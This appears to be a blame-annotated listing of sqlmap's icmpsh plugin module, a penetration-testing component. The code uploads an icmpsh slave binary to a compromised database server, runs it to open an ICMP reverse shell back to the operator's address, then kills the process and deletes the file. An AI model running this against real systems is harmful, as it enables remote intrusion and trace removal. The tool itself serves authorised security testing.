2010-10-28 01:02:22 +04:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
|
|
|
"""
|
2012-07-12 21:38:03 +04:00
|
|
|
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
|
2010-10-28 01:02:22 +04:00
|
|
|
See the file 'doc/COPYING' for copying permission
|
|
|
|
"""
|
|
|
|
|
|
|
|
import os
|
|
|
|
import time
|
|
|
|
|
|
|
|
from extra.icmpsh.icmpsh_m import main as icmpshmaster
|
|
|
|
from lib.core.common import getLocalIP
|
|
|
|
from lib.core.common import getRemoteIP
|
|
|
|
from lib.core.common import normalizePath
|
|
|
|
from lib.core.common import ntToPosixSlashes
|
|
|
|
from lib.core.common import randomStr
|
|
|
|
from lib.core.common import readInput
|
|
|
|
from lib.core.data import conf
|
|
|
|
from lib.core.data import logger
|
|
|
|
from lib.core.data import paths
|
|
|
|
|
|
|
|
|
|
|
|
class ICMPsh:
|
|
|
|
"""
|
|
|
|
This class defines methods to call icmpsh for plugins.
|
|
|
|
"""
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _initVars(self):
|
2011-04-30 17:20:05 +04:00
|
|
|
self.lhostStr = None
|
|
|
|
self.rhostStr = None
|
|
|
|
self.localIP = getLocalIP()
|
|
|
|
self.remoteIP = getRemoteIP()
|
2013-01-07 18:55:40 +04:00
|
|
|
self._icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe_"))
|
2010-10-28 01:02:22 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _selectRhost(self):
|
2012-10-23 17:52:43 +04:00
|
|
|
message = "what is the back-end DBMS address? [%s] " % self.remoteIP
|
2010-10-28 01:02:22 +04:00
|
|
|
address = readInput(message, default=self.remoteIP)
|
|
|
|
|
|
|
|
return address
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _selectLhost(self):
|
2012-10-23 17:52:43 +04:00
|
|
|
message = "what is the local address? [%s] " % self.localIP
|
2010-10-28 01:02:22 +04:00
|
|
|
address = readInput(message, default=self.localIP)
|
|
|
|
|
|
|
|
return address
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _prepareIngredients(self, encode=True):
|
2013-01-07 19:44:22 +04:00
|
|
|
self.lhostStr = ICMPsh._selectLhost(self)
|
|
|
|
self.rhostStr = ICMPsh._selectRhost(self)
|
2010-10-28 01:02:22 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _runIcmpshMaster(self):
|
2010-10-28 01:02:22 +04:00
|
|
|
infoMsg = "running icmpsh master locally"
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
|
|
|
icmpshmaster(self.lhostStr, self.rhostStr)
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
def _runIcmpshSlaveRemote(self):
|
2011-04-30 17:20:05 +04:00
|
|
|
infoMsg = "running icmpsh slave remotely"
|
2010-10-28 01:02:22 +04:00
|
|
|
logger.info(infoMsg)
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self._icmpslaveRemote, self.lhostStr)
|
2010-10-28 01:02:22 +04:00
|
|
|
|
|
|
|
self.execCmd(cmd, silent=True)
|
|
|
|
|
|
|
|
def uploadIcmpshSlave(self, web=False):
|
2012-12-21 14:10:05 +04:00
|
|
|
ICMPsh._initVars(self)
|
2012-12-06 17:14:19 +04:00
|
|
|
self._randStr = randomStr(lowercase=True)
|
|
|
|
self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr
|
2010-10-28 01:02:22 +04:00
|
|
|
|
|
|
|
if web:
|
2012-12-06 17:14:19 +04:00
|
|
|
self._icmpslaveRemote = "%s/%s" % (self.webDirectory, self._icmpslaveRemoteBase)
|
2010-10-28 01:02:22 +04:00
|
|
|
else:
|
2012-12-06 17:14:19 +04:00
|
|
|
self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase)
|
2010-10-28 01:02:22 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
self._icmpslaveRemote = ntToPosixSlashes(normalizePath(self._icmpslaveRemote))
|
2010-10-28 01:02:22 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote)
|
2010-10-28 01:02:22 +04:00
|
|
|
|
|
|
|
if web:
|
2012-12-21 14:10:05 +04:00
|
|
|
self.webUpload(self._icmpslaveRemote, self.webDirectory, filepath=self._icmpslave)
|
2010-10-28 01:02:22 +04:00
|
|
|
else:
|
2012-12-21 14:10:05 +04:00
|
|
|
self.writeFile(self._icmpslave, self._icmpslaveRemote, "binary")
|
2010-10-28 01:02:22 +04:00
|
|
|
|
|
|
|
def icmpPwn(self):
|
2013-01-07 19:44:22 +04:00
|
|
|
ICMPsh._prepareIngredients(self)
|
2012-12-06 17:14:19 +04:00
|
|
|
self._runIcmpshSlaveRemote()
|
|
|
|
self._runIcmpshMaster()
|
2010-10-28 01:02:22 +04:00
|
|
|
|
2011-04-30 17:20:05 +04:00
|
|
|
debugMsg = "icmpsh master exited"
|
2010-10-28 01:02:22 +04:00
|
|
|
logger.debug(debugMsg)
|
|
|
|
|
2010-10-28 04:19:40 +04:00
|
|
|
time.sleep(1)
|
2012-12-06 17:14:19 +04:00
|
|
|
self.execCmd("taskkill /F /IM %s" % self._icmpslaveRemoteBase, silent=True)
|
2010-10-28 04:19:40 +04:00
|
|
|
time.sleep(1)
|
2012-12-06 17:14:19 +04:00
|
|
|
self.delRemoteFile(self._icmpslaveRemote)
|